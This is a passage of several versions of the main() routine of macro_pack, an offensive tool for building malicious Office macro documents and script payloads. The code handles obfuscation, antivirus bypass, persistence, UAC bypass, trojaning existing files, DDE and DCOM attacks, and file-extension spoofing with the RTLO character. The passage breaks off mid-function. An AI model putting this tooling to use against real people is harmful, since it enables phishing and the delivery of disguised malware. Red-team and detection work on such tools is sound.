                shutil.copy2(mpSession.vbaInput, inputFile)
        if os.path.isfile(inputFile):
            logging.info("   [-] Temporary input file: %s" % inputFile)
        # Check output file format
        if mpSession.outputFilePath:
            logging.info("   [-] Target output format: %s" %
                         mpSession.outputFileType)

        # Generate template
        if mpSession.template:
            if MP_TYPE == "Pro":
                generator = TemplateGeneratorPro(mpSession)
                generator.run()
            else:
                generator = TemplateToVba(mpSession)
                generator.run()

        # MS Office generation/trojan is only enabled on windows
        if sys.platform == "win32":

            if mpSession.stealth == True:
                # Add a new empty module to keep VBA library if we hide other modules
                # See http://seclists.org/fulldisclosure/2017/Mar/90
                genericModule = mp_module.MpModule(mpSession)
                genericModule.addVBAModule("")

            if mpSession.trojan == False:
                if MSTypes.XL in mpSession.outputFileType:
                    generator = ExcelGenerator(mpSession)
                    generator.run()
                elif MSTypes.WD in mpSession.outputFileType:
                    generator = WordGenerator(mpSession)
                    generator.run()
                elif MSTypes.PPT in mpSession.outputFileType:
                    generator = PowerPointGenerator(mpSession)
                    generator.run()
                elif MSTypes.MPP == mpSession.outputFileType:
                    generator = MSProjectGenerator(mpSession)
                    generator.run()
                elif MSTypes.VSD in mpSession.outputFileType:
                    generator = VisioGenerator(mpSession)
                    generator.run()
                elif MSTypes.PUB == mpSession.outputFileType and MP_TYPE == "Pro":
                    generator = PublisherGenerator(mpSession)
                    generator.run()
            else:
                if MSTypes.XL in mpSession.outputFileType:
                    if os.path.isfile(mpSession.outputFilePath):
                        generator = ExcelTrojan(mpSession)
                        generator.run()
                    else:
                        generator = ExcelGenerator(mpSession)
                        generator.run()
                if MSTypes.WD in mpSession.outputFileType:
                    if os.path.isfile(mpSession.outputFilePath):
                        generator = WordTrojan(mpSession)
                        generator.run()
                    else:
                        generator = WordGenerator(mpSession)
                        generator.run()
                if MSTypes.PPT in mpSession.outputFileType:
                    if os.path.isfile(mpSession.outputFilePath):
                        generator = PptTrojan(mpSession)
                        generator.run()
                    else:
                        generator = PowerPointGenerator(mpSession)
                        generator.run()
                if MSTypes.VSD in mpSession.outputFileType:
                    if os.path.isfile(mpSession.outputFilePath):
                        generator = VisioTrojan(mpSession)
                        generator.run()
                    else:
                        generator = VisioGenerator(mpSession)
                        generator.run()

                if MSTypes.MPP in mpSession.outputFileType:
                    if os.path.isfile(mpSession.outputFilePath):
                        generator = MsProjectTrojan(mpSession)
                        generator.run()
                    else:
                        generator = MSProjectGenerator(mpSession)
                        generator.run()

            if mpSession.stealth == True:
                obfuscator = Stealth(mpSession)
                obfuscator.run()

            if mpSession.ddeMode:  # DDE Attack mode
                if MSTypes.WD in mpSession.outputFileType:
                    generator = WordDDE(mpSession)
                    generator.run()
                else:
                    logging.warn(
                        " [!] Word and Word97 are only format supported for DDE attacks."
                    )

            if mpSession.runTarget:  #run com attack
                generator = ComGenerator(mpSession)
                generator.run()

            if mpSession.dcom:  #run dcom attack
                generator = DcomGenerator(mpSession)
                generator.run()

        if mpSession.outputFileType == MSTypes.VBS:
            generator = VBSGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.HTA:
            generator = HTAGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.SCT:
            generator = SCTGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.WSF:
            generator = WSFGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.VBA or mpSession.outputFilePath == None:
            generator = VBAGenerator(mpSession)
            generator.run()

        if mpSession.listen:
            listener = ListenServer(mpSession)
            listener.run()

    except Exception:
        logging.exception(" [!] Exception caught!")
        logging.error(
            " [!] Hints: Check if MS office is really closed and Antivirus did not catch the files"
        )
        if sys.platform == "win32":
            logging.error(
                " [!] Attempt to force close MS Office applications...")
            objExcel = win32com.client.Dispatch("Excel.Application")
            objExcel.Application.Quit()
            del objExcel
            objWord = win32com.client.Dispatch("Word.Application")
            objWord.Application.Quit()
            del objWord
            ppt = win32com.client.Dispatch("PowerPoint.Application")
            ppt.Quit()
            del ppt

    logging.info(" [+] Cleaning...")
    shutil.rmtree(WORKING_DIR)

    logging.info(" Done!\n")

    sys.exit(0)
Example #26
0
def main(argv):   
    
    logLevel = "INFO"
    # initialize macro_pack session object
    mpSession = mp_session.MpSession(WORKING_DIR, VERSION)
         
    try:
        longOptions = ["quiet", "input-file=","vba-output=", "mask-strings", "encode","obfuscate","obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=","template=", "start-function="] 
        # only for Pro release
        if MP_TYPE == "Pro":
            longOptions.extend(["vbom-encode", "persist","keep-alive", "av-bypass", "trojan", "stealth"])
        
        # Only enabled on windows
        if sys.platform == "win32":
            longOptions.extend(["excel-output=", "word-output=", "excel97-output=", "word97-output=", "ppt-output="])
            
        opts, args = getopt.getopt(argv, "s:f:t:v:x:X:w:W:P:hqmo", longOptions) # @UnusedVariable
    except getopt.GetoptError:          
        usage()                         
        sys.exit(2)                  
    for opt, arg in opts:                
        if opt in ("-o", "--obfuscate"):                 
            mpSession.obfuscateForm =  True  
            mpSession.obfuscateNames =  True 
            mpSession.obfuscateStrings =  True 
        elif opt=="--obfuscate-form":                 
            mpSession.obfuscateForm =  True  
        elif opt=="--obfuscate-names":                 
            mpSession.obfuscateNames =  True    
        elif opt=="--obfuscate-strings":                 
            mpSession.obfuscateStrings =  True                
        elif opt=="-s" or opt=="--start-function":                 
            mpSession.startFunction =  arg         
        elif opt == "-f" or opt== "--input-file": 
            mpSession.vbaInput = arg
        elif opt=="-t" or opt=="--template": 
            mpSession.template = arg
        elif opt=="-q" or opt=="--quiet": 
            logLevel = "ERROR"
        elif opt=="-v" or opt=="--vba-output": 
            mpSession.vbaFilePath = os.path.abspath(arg)
            mpSession.fileOutput = True
        elif opt in ("-X", "--excel-output"): 
            # Only enabled on windows
            if sys.platform == "win32":
                mpSession.excelFilePath = os.path.abspath(arg)
                mpSession.fileOutput = True
        elif opt in ("-W","--word-output"): 
            # Only enabled on windows
            if sys.platform == "win32":
                mpSession.wordFilePath = os.path.abspath(arg)
                mpSession.fileOutput = True
        elif opt in ("-x", "--excel97-output"): 
            # Only enabled on windows
            if sys.platform == "win32":
                mpSession.excel97FilePath = os.path.abspath(arg)
                mpSession.fileOutput = True
        elif opt in ("-w", "--word97-output"): 
            # Only enabled on windows
            if sys.platform == "win32":
                mpSession.word97FilePath = os.path.abspath(arg)
                mpSession.fileOutput = True
        elif opt in ("-P","--ppt-output"):
            # Only enabled on windows
            if sys.platform == "win32":
                mpSession.pptFilePath = os.path.abspath(arg)
                mpSession.fileOutput = True
        elif opt=="-h" or opt=="--help": 
            usage()                         
            sys.exit(0)
        else:
            if MP_TYPE == "Pro":  
                if opt=="--vbom-encode":      
                    mpSession.vbomEncode = True               
                elif opt=="--persist": 
                    mpSession.persist = True       
                elif opt=="--keep-alive": 
                    mpSession.keepAlive = True  
                elif opt=="--av-bypass":
                    mpSession.avBypass = True
                elif opt=="--trojan":
                    mpSession.trojan = True
                elif opt == "--stealth":
                    mpSession.stealth = True
                else:
                    usage()                         
                    sys.exit(0)
            else:
                usage()                         
                sys.exit(0)
                    
    
    os.system('cls' if os.name == 'nt' else 'clear')
    # Logging
    logging.basicConfig(level=getattr(logging, logLevel),format="%(message)s", handlers=[utils.ColorLogFiler()])
    

    logging.info(colored(BANNER, 'green'))

    logging.info(" [+] Preparations...") 
    # check input args
    if mpSession.vbaInput is None:
        # Argument not supplied, try to get file content from stdin
        if os.isatty(0) == False: # check if something is being piped
            logging.info("   [-] Waiting for piped input feed...")  
            mpSession.stdinContent = sys.stdin.readlines()
        else:
            logging.error("   [!] ERROR: No input provided")                        
            sys.exit(2)
    else:
        if not os.path.isfile(mpSession.vbaInput):
            logging.error("   [!] ERROR: Could not find %s!" % mpSession.vbaInput)
            sys.exit(2)
    
    if mpSession.trojan==False:
        # verify that output file does not already exist
        for outputPath in [mpSession.vbaFilePath, mpSession.excelFilePath, mpSession.wordFilePath, mpSession.excel97FilePath, mpSession.word97FilePath, mpSession.pptFilePath]:
            if outputPath is not None:
                if os.path.isfile(outputPath):
                    logging.error("   [!] ERROR: Output file %s already exist!" % outputPath)
                    sys.exit(2)
    else:
        # In trojan mode, file are tojane if they already exist and created if they dont.
        # except for vba output which is not concerned by trojan feature
        for outputPath in [mpSession.vbaFilePath]:
            if outputPath is not None:
                if os.path.isfile(outputPath):
                    logging.error("   [!] ERROR: Output file %s already exist!" % outputPath)
                    sys.exit(2)
    
    logging.info("   [-] Input file path: %s" % mpSession.vbaInput)
    #Create temporary folder
    logging.info("   [-] Temporary working dir: %s" % WORKING_DIR)
    if not os.path.exists(WORKING_DIR):
        os.makedirs(WORKING_DIR)

    
    try:

        logging.info("   [-] Store input file..." )
        # Create temporary work file.
        vbaFile = os.path.join(WORKING_DIR,utils.randomAlpha(9))+".vba"
        if mpSession.stdinContent is not None: 
            f = open(vbaFile, 'w')
            f.writelines(mpSession.stdinContent)
            f.close()    
        else:
            # Create temporary work file
            shutil.copy2(mpSession.vbaInput, vbaFile)
        logging.info("   [-] Temp VBA file: %s" %  vbaFile)
                
        # Generate template
        if mpSession.template:
            generator = TemplateToVba(mpSession)
            generator.run()
            
        # Macro obfuscation
        if mpSession.obfuscateNames:
            obfuscator = ObfuscateNames(mpSession)
            obfuscator.run()
        # Mask strings
        if mpSession.obfuscateStrings:
            obfuscator = ObfuscateStrings(mpSession)
            obfuscator.run()
        # Macro obfuscation
        if mpSession.obfuscateForm:
            obfuscator = ObfuscateForm(mpSession)
            obfuscator.run()     
        
        if MP_TYPE == "Pro":
            #macro split
            if mpSession.avBypass:
                obfuscator = AvBypass(mpSession)
                obfuscator.run() 
                
            # MAcro encoding    
            if mpSession.vbomEncode:
                obfuscator = VbomEncoder(mpSession)
                obfuscator.run() 
                    
                # PErsistance management
                if mpSession.persist:
                    obfuscator = Persistance(mpSession)
                    obfuscator.run() 
                # Macro obfuscation
                if mpSession.obfuscateNames:
                    obfuscator = ObfuscateNames(mpSession)
                    obfuscator.run()
                # Mask strings
                if mpSession.obfuscateStrings:
                    obfuscator = ObfuscateStrings(mpSession)
                    obfuscator.run()
                # Macro obfuscation
                if mpSession.obfuscateForm:
                    obfuscator = ObfuscateForm(mpSession)
                    obfuscator.run()  
            else:
                # PErsistance management
                if mpSession.persist:
                    obfuscator = Persistance(mpSession)
                    obfuscator.run() 
                                      
        # MS Office generation/trojan is only enabled on windows
        if sys.platform == "win32":
            if mpSession.stealth == True:
                # Add a new empty module to keep VBA library if we hide other modules
                # See http://seclists.org/fulldisclosure/2017/Mar/90
                genericModule = mp_module.MpModule(mpSession)
                genericModule.addVBAModule("")
        
            if mpSession.trojan == False:
                if mpSession.excelFilePath or mpSession.excel97FilePath:
                    generator = ExcelGenerator(mpSession)
                    generator.run()
                if mpSession.wordFilePath or mpSession.word97FilePath:
                    generator = WordGenerator(mpSession)
                    generator.run()
                if mpSession.pptFilePath:
                    generator = PowerPointGenerator(mpSession)
                    generator.run()
            else:
                if mpSession.excelFilePath:
                    if os.path.isfile(mpSession.excelFilePath):
                        generator = ExcelTrojan(mpSession)
                        generator.run()
                    else:
                        generator = ExcelGenerator(mpSession)
                        generator.run()
                if mpSession.excel97FilePath:
                    if os.path.isfile(mpSession.excel97FilePath):
                        generator = ExcelTrojan(mpSession)
                        generator.run()
                    else:
                        generator = ExcelGenerator(mpSession)
                        generator.run()
                if mpSession.wordFilePath:
                    if os.path.isfile(mpSession.wordFilePath):
                        generator = WordTrojan(mpSession)
                        generator.run()
                    else:
                        generator = WordGenerator(mpSession)
                        generator.run()
                if mpSession.word97FilePath:
                    if os.path.isfile(mpSession.word97FilePath):
                        generator = WordTrojan(mpSession)
                        generator.run()
                    else:
                        generator = WordGenerator(mpSession)
                        generator.run()
                if mpSession.pptFilePath:
                    if os.path.isfile(mpSession.pptFilePath):
                        generator = PptTrojan(mpSession)
                        generator.run()
                    else:
                        generator = PowerPointGenerator(mpSession)
                        generator.run()
    
        if mpSession.stealth == True:
            obfuscator = Stealth(mpSession)
            obfuscator.run()
    
        if mpSession.vbaFilePath is not None or mpSession.fileOutput == False:
            generator = VBAGenerator(mpSession)
            generator.run()
    except Exception:
        logging.exception(" [!] Exception caught!")
        logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files")
        if sys.platform == "win32":
            logging.error(" [!] Attempt to force close MS Office applications...")
            objExcel = win32com.client.Dispatch("Excel.Application")
            objExcel.Application.Quit()
            del objExcel
            objWord = win32com.client.Dispatch("Word.Application")
            objWord.Application.Quit()
            del objWord
            ppt = win32com.client.Dispatch("PowerPoint.Application")
            ppt.Quit()
            del ppt
     
    logging.info(" [+] Cleaning...")
    shutil.rmtree(WORKING_DIR)   
    logging.info(" Done!\n")
        
    
    sys.exit(0)
Example #27
0
def main(argv):
    global MP_TYPE
    logLevel = LOGLEVEL
    # initialize macro_pack session object
    working_directory = os.path.join(os.getcwd(), WORKING_DIR)
    if MP_TYPE == "Pro":
        mpSession = mp_session_pro.MpSessionPro(working_directory, VERSION,
                                                MP_TYPE)
    else:
        mpSession = mp_session.MpSession(working_directory, VERSION, MP_TYPE)

    try:
        longOptions = [
            "embed=", "listen=", "port=", "webdav-listen=", "generate=",
            "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form",
            "obfuscate-names", "obfuscate-strings", "file=", "template=",
            "listtemplates", "listformats", "icon=", "start-function=",
            "uac-bypass", "unicode-rtlo=", "dde", "print", "force-yes"
        ]
        shortOptions = "e:l:w:s:f:t:G:hqmop"
        # only for Pro release
        if MP_TYPE == "Pro":
            longOptions.extend(arg_mgt_pro.proArgsLongOptions)
            shortOptions += arg_mgt_pro.proArgsShortOptions
        # Only enabled on windows
        if sys.platform == "win32":
            longOptions.extend(["run=", "run-visible"])

        opts, args = getopt.getopt(argv, shortOptions,
                                   longOptions)  # @UnusedVariable
    except getopt.GetoptError:
        help.printUsage(BANNER, sys.argv[0], mpSession)
        sys.exit(2)
    for opt, arg in opts:
        if opt in ("-o", "--obfuscate"):
            mpSession.obfuscateForm = True
            mpSession.obfuscateNames = True
            mpSession.obfuscateStrings = True
        elif opt == "--obfuscate-form":
            mpSession.obfuscateForm = True
        elif opt == "--obfuscate-names":
            mpSession.obfuscateNames = True
        elif opt == "--obfuscate-strings":
            mpSession.obfuscateStrings = True
        elif opt == "-s" or opt == "--start-function":
            mpSession.startFunction = arg
        elif opt == "-l" or opt == "--listen":
            mpSession.listen = True
            mpSession.listenRoot = os.path.abspath(arg)
        elif opt == "--port":
            mpSession.listenPort = int(arg)
            mpSession.WlistenPort = int(arg)
        elif opt == "--icon":
            mpSession.icon = arg
        elif opt == "-w" or opt == "--webdav-listen":
            mpSession.Wlisten = True
            mpSession.WRoot = os.path.abspath(arg)
        elif opt == "-f" or opt == "--input-file":
            mpSession.fileInput = arg
        elif opt == "-e" or opt == "--embed":
            mpSession.embeddedFilePath = os.path.abspath(arg)
        elif opt == "-t" or opt == "--template":
            mpSession.template = arg
        elif opt == "--listtemplates":
            help.printTemplatesUsage(BANNER, sys.argv[0])
            sys.exit(0)
        elif opt == "-q" or opt == "--quiet":
            logLevel = "WARN"
        elif opt == "-p" or opt == "--print":
            mpSession.printFile = True
        elif opt == "--dde":
            if sys.platform == "win32":
                mpSession.ddeMode = True
        elif opt == "--run":
            if sys.platform == "win32":
                mpSession.runTarget = os.path.abspath(arg)
        elif opt == "--run-visible":
            if sys.platform == "win32":
                mpSession.runVisible = True
        elif opt == "--force-yes":
            mpSession.forceYes = True
        elif opt == "--uac-bypass":
            mpSession.uacBypass = True
        elif opt == "--unicode-rtlo":
            mpSession.unicodeRtlo = arg
        elif opt in ("-G", "--generate"):
            mpSession.outputFilePath = os.path.abspath(arg)
        elif opt == "--listformats":
            help.printAvailableFormats(BANNER)
            sys.exit(0)
        elif opt == "-h" or opt == "--help":
            help.printUsage(BANNER, sys.argv[0], mpSession)
            sys.exit(0)
        else:
            if MP_TYPE == "Pro":
                arg_mgt_pro.processProArg(opt, arg, mpSession, BANNER)
            else:
                #print("opt:%s, arg:%s",(opt,arg))
                help.printUsage(BANNER, sys.argv[0], mpSession)
                sys.exit(0)

    if logLevel == "INFO":
        os.system('cls' if os.name == 'nt' else 'clear')

    # Logging
    logging.basicConfig(level=getattr(logging, logLevel),
                        format="%(message)s",
                        handlers=[utils.ColorLogFiler()])

    logging.info(colored(BANNER, 'green'))

    logging.info(" [+] Preparations...")

    # check input args
    if mpSession.fileInput is None:
        # Argument not supplied, try to get file content from stdin
        if os.isatty(0) == False:  # check if something is being piped
            logging.info("   [-] Waiting for piped input feed...")
            mpSession.stdinContent = sys.stdin.readlines()
            # Close Stdin pipe so we can call input() later without triggering EOF
            #sys.stdin.close()
            if sys.platform == "win32":
                sys.stdin = open("conIN$")
            else:
                sys.stdin = sys.__stdin__

    else:
        if not os.path.isfile(mpSession.fileInput):
            logging.error("   [!] ERROR: Could not find %s!" %
                          mpSession.fileInput)
            sys.exit(2)
        else:
            logging.info("   [-] Input file path: %s" % mpSession.fileInput)

    if MP_TYPE == "Pro":
        if mpSession.communityMode == True:
            logging.warning(
                "   [!] Running in community mode (pro features not applied)")
            MP_TYPE = "Community"
        else:
            arg_mgt_pro.verify(mpSession)

        # Check output file format
    if mpSession.outputFilePath:
        if not os.path.isdir(os.path.dirname(mpSession.outputFilePath)):
            logging.error("   [!] Could not find output folder %s." %
                          os.path.dirname(mpSession.outputFilePath))
            sys.exit(2)

        if mpSession.outputFileType == MSTypes.UNKNOWN:
            logging.error(
                "   [!] %s is not a supported extension. Use --listformats to view supported MacroPack formats."
                % os.path.splitext(mpSession.outputFilePath)[1])
            sys.exit(2)
        else:
            logging.info("   [-] Target output format: %s" %
                         mpSession.outputFileType)
    elif mpSession.listen == False and mpSession.Wlisten == False and mpSession.runTarget is None and (
            MP_TYPE != "Pro" or mpSession.dcomTarget is None):
        logging.error(
            "   [!] You need to provide an output file! (get help using %s -h)"
            % os.path.basename(utils.getRunningApp()))
        sys.exit(2)

    if mpSession.isTrojanMode == False:
        # verify that output file does not already exist
        if os.path.isfile(mpSession.outputFilePath):
            logging.error("   [!] ERROR: Output file %s already exist!" %
                          mpSession.outputFilePath)
            sys.exit(2)

    #Create temporary folder
    logging.info("   [-] Temporary working dir: %s" % working_directory)
    if not os.path.exists(working_directory):
        os.makedirs(working_directory)

    try:
        # Create temporary work file.
        if mpSession.ddeMode or mpSession.template or (
                mpSession.outputFileType not in MSTypes.VB_FORMATS
                and mpSession.htaMacro == False):
            inputFile = os.path.join(working_directory, "command.cmd")
        else:
            inputFile = os.path.join(working_directory,
                                     utils.randomAlpha(9)) + ".vba"
        if mpSession.stdinContent is not None:
            import time
            time.sleep(0.4)  # Needed to avoid some weird race condition
            logging.info("   [-] Store std input in file...")
            f = open(inputFile, 'w')
            f.writelines(mpSession.stdinContent)
            f.close()
        else:
            # Create temporary work file
            if mpSession.fileInput is not None:
                # Check there are not binary chars in input fil
                if utils.isBinaryString(
                        open(mpSession.fileInput, 'rb').read(1024)):
                    logging.error(
                        "   [!] ERROR: Invalid format for %s. Input should be text format containing your VBA script."
                        % mpSession.fileInput)
                    logging.info(" [+] Cleaning...")
                    if os.path.isdir(working_directory):
                        shutil.rmtree(working_directory)
                    sys.exit(2)
                logging.info("   [-] Store input file...")
                shutil.copy2(mpSession.fileInput, inputFile)

        if os.path.isfile(inputFile):
            logging.info("   [-] Temporary input file: %s" % inputFile)

        # Edit outputfile name to spoof extension if unicodeRtlo option is enabled
        if mpSession.unicodeRtlo:
            # Reminer; mpSession.unicodeRtlo contains the extension we want to spoof, such as "jpg"
            logging.info(" [+] Inject %s false extension with unicode RTLO" %
                         mpSession.unicodeRtlo)
            # Separate document path and extension
            (fileName,
             fileExtension) = os.path.splitext(mpSession.outputFilePath)

            logging.info("   [-] Extension %s " % fileExtension)
            # Append unicode RTLO to file name
            fileName += '\u202e'
            # Append extension to spoof in reverse order
            fileName += '\u200b' + mpSession.unicodeRtlo[::
                                                         -1]  # Prepend invisible space so filename does not end with flagged extension
            # Append file extension
            fileName += fileExtension
            mpSession.outputFilePath = fileName
            logging.info("   [-] File name modified to: %s" %
                         mpSession.outputFilePath)

        # Retrieve the right payload builder
        if mpSession.outputFileType != MSTypes.UNKNOWN:
            if MP_TYPE == "Pro" and mpSession.communityMode == False:
                payloadBuilder = PayloadBuilderFactoryPro().getPayloadBuilder(
                    mpSession)
            else:
                payloadBuilder = PayloadBuilderFactory().getPayloadBuilder(
                    mpSession)
            # Build payload
            if payloadBuilder is not None:
                payloadBuilder.run()
                if MP_TYPE == "Pro":
                    generator = ContainerGenerator(mpSession)
                    generator.run()

        #run com attack
        if mpSession.runTarget:
            generator = ComGenerator(mpSession)
            generator.run()

        if MP_TYPE == "Pro":
            #run dcom attack
            if mpSession.dcom:
                generator = DcomGenerator(mpSession)
                generator.run()

        # Activate Web server
        if mpSession.listen:
            listener = ListenServer(mpSession)
            listener.run()

        # Activate WebDav server
        if mpSession.Wlisten:
            Wlistener = WListenServer(mpSession)
            Wlistener.run()

    except Exception:
        logging.exception(" [!] Exception caught!")
    except KeyboardInterrupt:
        logging.error(" [!] Keyboard interrupt caught!")

    logging.info(" [+] Cleaning...")
    if os.path.isdir(working_directory):
        shutil.rmtree(working_directory)

    logging.info(" Done!\n")

    sys.exit(0)
Example #28
0
def main(argv):

    logLevel = "INFO"
    # initialize macro_pack session object
    working_directory = os.path.join(os.getcwd(), WORKING_DIR)
    mpSession = mp_session.MpSession(working_directory, VERSION, MP_TYPE)

    try:
        longOptions = [
            "embed=", "listen=", "port=", "webdav-listen=", "generate=",
            "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form",
            "obfuscate-names", "obfuscate-strings", "file=", "template=",
            "start-function=", "uac-bypass", "unicode-rtlo=", "dde", "print"
        ]
        shortOptions = "e:l:w:s:f:t:G:hqmop"
        # only for Pro release
        if MP_TYPE == "Pro":
            longOptions.extend([
                "vbom-encode", "persist", "keep-alive", "av-bypass", "trojan=",
                "stealth", "dcom=", "background", "decoy="
            ])
            shortOptions += "T:b"
        # Only enabled on windows
        if sys.platform == "win32":
            longOptions.extend(["run="])

        opts, args = getopt.getopt(argv, shortOptions,
                                   longOptions)  # @UnusedVariable
    except getopt.GetoptError:
        help.printUsage(BANNER, sys.argv[0], mpSession)
        sys.exit(2)
    for opt, arg in opts:
        if opt in ("-o", "--obfuscate"):
            mpSession.obfuscateForm = True
            mpSession.obfuscateNames = True
            mpSession.obfuscateStrings = True
        elif opt == "--obfuscate-form":
            mpSession.obfuscateForm = True
        elif opt == "--obfuscate-names":
            mpSession.obfuscateNames = True
        elif opt == "--obfuscate-strings":
            mpSession.obfuscateStrings = True
        elif opt == "-s" or opt == "--start-function":
            mpSession.startFunction = arg
        elif opt == "-l" or opt == "--listen":
            mpSession.listen = True
            mpSession.listenRoot = os.path.abspath(arg)
        elif opt == "--port":
            mpSession.listenPort = int(arg)
            mpSession.WlistenPort = int(arg)
        elif opt == "-w" or opt == "--webdav-listen":
            mpSession.Wlisten = True
            mpSession.WRoot = os.path.abspath(arg)
        elif opt == "-f" or opt == "--input-file":
            mpSession.vbaInput = arg
        elif opt == "-e" or opt == "--embed":
            mpSession.embeddedFilePath = os.path.abspath(arg)
        elif opt == "-t" or opt == "--template":
            if arg is None or arg.startswith(
                    "-") or arg == "help" or arg == "HELP":
                help.printTemplatesUsage(BANNER, sys.argv[0])
                sys.exit(0)
            else:
                mpSession.template = arg
        elif opt == "-q" or opt == "--quiet":
            logLevel = "ERROR"
        elif opt == "-p" or opt == "--print":
            mpSession.printFile = True
        elif opt == "--dde":
            if sys.platform == "win32":
                mpSession.ddeMode = True
        elif opt == "--run":
            if sys.platform == "win32":
                mpSession.runTarget = os.path.abspath(arg)
        elif opt == "--uac-bypass":
            mpSession.uacBypass = True
        elif opt == "--unicode-rtlo":
            mpSession.unicodeRtlo = arg
        elif opt in ("-G", "--generate"):
            mpSession.outputFilePath = os.path.abspath(arg)
        elif opt == "-h" or opt == "--help":
            help.printUsage(BANNER, sys.argv[0], mpSession)
            sys.exit(0)
        else:
            if MP_TYPE == "Pro":
                if opt == "--vbom-encode":
                    mpSession.vbomEncode = True
                elif opt == "--persist":
                    mpSession.persist = True
                elif opt == "--keep-alive":
                    mpSession.keepAlive = True
                elif opt == "--av-bypass":
                    mpSession.avBypass = True

                elif opt == "-T" or opt == "--trojan":
                    # Document generation enabled only on windows
                    if sys.platform == "win32":
                        mpSession.outputFilePath = os.path.abspath(arg)
                        mpSession.trojan = True
                elif opt == "-b" or opt == "--background":
                    mpSession.background = True
                elif opt == "--stealth":
                    mpSession.stealth = True
                elif opt == "--dcom":
                    mpSession.dcom = True
                    mpSession.dcomTarget = arg
                elif opt == "--decoy":
                    mpSession.decoyFilePath = os.path.abspath(arg)
                else:
                    help.printUsage(BANNER, sys.argv[0], mpSession)
                    sys.exit(0)
            else:
                #print("opt:%s, arg:%s",(opt,arg))
                help.printUsage(BANNER, sys.argv[0], mpSession)
                sys.exit(0)

    if logLevel == "INFO":
        os.system('cls' if os.name == 'nt' else 'clear')

    # Logging
    logging.basicConfig(level=getattr(logging, logLevel),
                        format="%(message)s",
                        handlers=[utils.ColorLogFiler()])

    logging.info(colored(BANNER, 'green'))

    logging.info(" [+] Preparations...")

    # Check output file format
    if mpSession.outputFilePath:
        logging.info("   [-] Target output format: %s" %
                     mpSession.outputFileType)
    elif mpSession.listen == False and mpSession.Wlisten == False and mpSession.runTarget is None and mpSession.dcomTarget is None:
        logging.error("   [!] You need to provide an output file! (-G option)")
        sys.exit(2)

    # Edit outputfile name to spoof extension if unicodeRtlo option is enabled
    if mpSession.unicodeRtlo:
        logging.info("   [-] Inject %s false extension with unicode RTLO" %
                     mpSession.unicodeRtlo)
        # Separate document and extension
        (fileName, fileExtension) = os.path.splitext(mpSession.outputFilePath)
        # Append unicode RTLO to file name
        fileName += '\u202e'
        # Append extension to spoof in reverse order
        fileName += mpSession.unicodeRtlo[::-1]
        # Appent file extension
        fileName += fileExtension
        mpSession.outputFilePath = fileName
        logging.info("   [-] File name modified to: %s" %
                     mpSession.outputFilePath)

    # check input args
    if mpSession.vbaInput is None:
        # Argument not supplied, try to get file content from stdin
        if os.isatty(0) == False:  # check if something is being piped
            logging.info("   [-] Waiting for piped input feed...")
            mpSession.stdinContent = sys.stdin.readlines()
            # Close Stdin pipe so we can call input() later without triggering EOF
            #sys.stdin.close()
            sys.stdin = sys.__stdin__
    else:
        if not os.path.isfile(mpSession.vbaInput):
            logging.error("   [!] ERROR: Could not find %s!" %
                          mpSession.vbaInput)
            sys.exit(2)
        else:
            logging.info("   [-] Input file path: %s" % mpSession.vbaInput)

    if mpSession.trojan == False:
        # verify that output file does not already exist
        if os.path.isfile(mpSession.outputFilePath):
            logging.error("   [!] ERROR: Output file %s already exist!" %
                          mpSession.outputFilePath)
            sys.exit(2)
    else:
        # In trojan mode, files are tojaned if they already exist and created if they dont.
        # This concerns only non Office documents for now
        if mpSession.outputFileType not in MSTypes.MS_OFFICE_FORMATS:
            if os.path.isfile(mpSession.outputFilePath):
                logging.error(
                    "   [!] ERROR: Trojan mode not supported for %s format. \nOutput file %s already exist!"
                    % (mpSession.outputFileType, mpSession.outputFilePath))
                sys.exit(2)

    #Create temporary folder
    logging.info("   [-] Temporary working dir: %s" % working_directory)
    if not os.path.exists(working_directory):
        os.makedirs(working_directory)

    try:
        # Create temporary work file.
        if mpSession.ddeMode or mpSession.template or (
                mpSession.outputFileType not in MSTypes.VB_FORMATS):
            inputFile = os.path.join(working_directory, "command.cmd")
        else:
            inputFile = os.path.join(working_directory,
                                     utils.randomAlpha(9)) + ".vba"
        if mpSession.stdinContent is not None:
            logging.info("   [-] Store std input in file...")
            f = open(inputFile, 'w')
            f.writelines(mpSession.stdinContent)
            f.close()
        else:
            # Create temporary work file
            if mpSession.vbaInput is not None:
                logging.info("   [-] Store input file...")
                shutil.copy2(mpSession.vbaInput, inputFile)
        if os.path.isfile(inputFile):
            logging.info("   [-] Temporary input file: %s" % inputFile)

        # Generate template
        if mpSession.template:
            if MP_TYPE == "Pro":
                generator = TemplateGeneratorPro(mpSession)
                generator.run()
            else:
                generator = TemplateToVba(mpSession)
                generator.run()

        # MS Office generation/trojan is only enabled on windows
        if sys.platform == "win32" and mpSession.outputFileType in MSTypes.MS_OFFICE_FORMATS:
            handleOfficeFormats(mpSession)

        # Generate Scripts
        if MP_TYPE == "Pro":
            if mpSession.outputFileType == MSTypes.VBS:
                generator = VBSGeneratorPro(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.HTA:
                generator = HTAGeneratorPro(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.SCT:
                generator = SCTGeneratorPro(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.WSF:
                generator = WSFGeneratorPro(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.XSL:
                generator = XSLGeneratorPro(mpSession)
                generator.run()

        else:
            if mpSession.outputFileType == MSTypes.VBS:
                generator = VBSGenerator(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.HTA:
                generator = HTAGenerator(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.SCT:
                generator = SCTGenerator(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.WSF:
                generator = WSFGenerator(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.XSL:
                generator = XSLGenerator(mpSession)
                generator.run()

        if mpSession.outputFileType == MSTypes.VBA:
            generator = VBAGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.SCF:
            generator = SCFGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.URL:
